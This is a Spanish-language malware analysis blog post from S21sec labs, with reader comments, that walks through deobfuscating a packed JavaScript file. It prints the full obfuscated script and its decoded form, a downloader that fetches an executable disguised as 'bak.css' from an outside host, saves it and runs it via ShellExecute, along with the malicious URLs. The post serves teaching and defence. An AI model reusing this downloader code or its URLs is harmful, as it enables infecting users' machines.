Español | English
rss facebook linkedin Twitter

Yo desofusco, tú desofuscas...

¿Tratando de evitar lo inevitable?

La seguridad por oscuridad nunca es recomendada, y dicho tópico es totalmente aplicable al javascript. Los creadores de malware muchas veces utilizan javascript para infectar nuestras máquinas, y aplican técnicas de ofuscación para tratar de no ser detectados y evitar o dificultar el análisis.

Vamos a ver cómo cualquiera puede analizar un javascript en "dos patadas", analizando un ejemplo práctico e intentando adivinar qué realiza un fichero .js que parezca (o sepamos) sospechoso.

Veamos este fichero de javascript:
http://1.360-1.cn/ms06014.js

$ wget http://1.360-1.cn/ms06014.js
$ cat ms06014.js
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('v{a 7=f.r("\\k\\s\\b\\h\\o\\6\\o\\t\\3\\8\\E\\k\\B\\F\\g\\g\\A","");a j="\\l\\3\\3\\z\\C\\d\\d\\m\\6\\4\\h\\i\\8\\D\\y\\x\\i\\q\\8\\w\\4\\3\\d\\u\\Q\\U\\8\\b\\6\\6";7.T("S",j,0);7.G();5.W=1;5.n();5.X(7.V);c="..\\\\R.K";5.J(c,2);5.I();a 9=f.H("9.L","");9["\\M\\l\\4\\p\\p\\P\\O\\4\\b\\m\\3\\4"](c,"","n")}N(e){}',60,60,'|||x74|x65|as|x73|xml|x2e|Shell|var|x63|path|x2f||ado|x54|x72|x31|url|
x4d|x68|x75|open|x6f|x6c|x36|CreateObject|x69|x66|x62|try|x6e|x2d|x33|x70|x50|
x4c|x3a|x32|x58|x48|Send|createobject|close|savetofile|com|Application|x53|
catch|x78|x45|x61|ntuser|GET|Open|x6b|responseBody|type|write'.split('|'),0,{}))


Vemos que no es nada legible, ya que está ofuscado. En estos casos, lo más sencillo y práctico es ejecutar el javascript, y reemplazar las funciones de evaluación o escritura en la página web por un simple print. En definitiva, cambiamos el "eval" por un "print", y lo ejecutamos:

$ js ms06014.js > limpio.js

Veamos su contenido:
$ cat limpio.js
try{var xml=ado.CreateObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50","");var url="\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73";xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var Shell=ado.createobject("Shell.Application","");Shell["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](path,"","open")}catch(e){}


Los strings no están muy claros, asi que veamos qué nos dice una consola de python:

>>> print "\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50"
Microsoft.XMLHTTP
>>> print "\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73"
http://user1.23-16.net/bak.css
>>> print "\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"
ShellExecute
>>>

Lo reemplazamos en el script, ponemos un salto de línea detrás de cada ";" y obtenemos:

$ cat limpio.js
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
var url="http://user1.23-16.net/bak.css";
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var Shell=ado.createobject("Shell.Application","");
Shell["ShellExecute"](path,"","open")
}
catch(e)
{
}


Parece que obtiene un fichero (bak.css), lo guarda en un path que él indica y lo lanza. Autoexplicativo, ¿no?
Por supuesto, parece que dicho fichero no es un css, pero vamos a corroborarlo:

$ wget http://user1.23-16.net/bak.css
$ file bak.css
bak.css: MS-DOS executable, PE for MS Windows (GUI) Intel 80386 32-bit


Un exe renombrado a css descargado y lanzado de un javascript ofuscado no puede ser bueno, pero para asegurarnos se lo pasamos al antivirus (podemos utilizar un servicio como el de Jotti: http://virusscan.jotti.org/) y:

AntiVir Found TR/Crypt.XPACK.Gen
ArcaVir Found Heur.Win32.I, Heur.RoundKick
CPsecure Found Troj.Downloader.W32.Small.zie
Dr.Web Found Trojan.DownLoad.3232
F-Prot Antivirus Found W32/Warezov.B.gen!Eldorado
F-Secure Anti-Virus Found Trojan-Downloader.Win32.Small.zie
Kaspersky Anti-Virus Found Trojan-Downloader.Win32.Small.zie
NOD32 Found a variant of Win32/TrojanDownloader.Agent.OBQ
Norman Virus Control Found Suspicious_F.gen
Sophos Antivirus Found Mal/Packer
VBA32 Found Embedded.Trojan-Downloader.Win32.Small.zfq (probable variant)


¡Virus!
Existen ofuscaciones mucho más fuertes, como la disección de la lógica de la función en múltiples funciones, pero como ejemplo ésta es muy didáctica.

Mikel Gastesi
S21sec labs

3 comentarios:

Quesesto!? dijo...

Cuanta complicación.

Resulta más simple poner un eval=alert; antes del código ofuscado. Ejecutamos el javascript y vemos el código sin ofuscar.

alex.

S21sec labs dijo...

Hola Alex,

A fin de cuentas viene a ser lo mismo poner un alert o un print. Yo prefiero lo segundo porque la salida es mucho más manejable si quiero formatear el texto, analizar partes concretas, etc.

Saludos

Trancek dijo...

y tambien hay paginas incluso que te lo desofuscan y todo, ese del p,a,c,k,e,r y otro que hay que es p,a,c,k,e,d tambien, nose si sera el mismo, si por facilidades, pero bueno da buenos resultados lo de ofuscar contra antivirus jeje


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login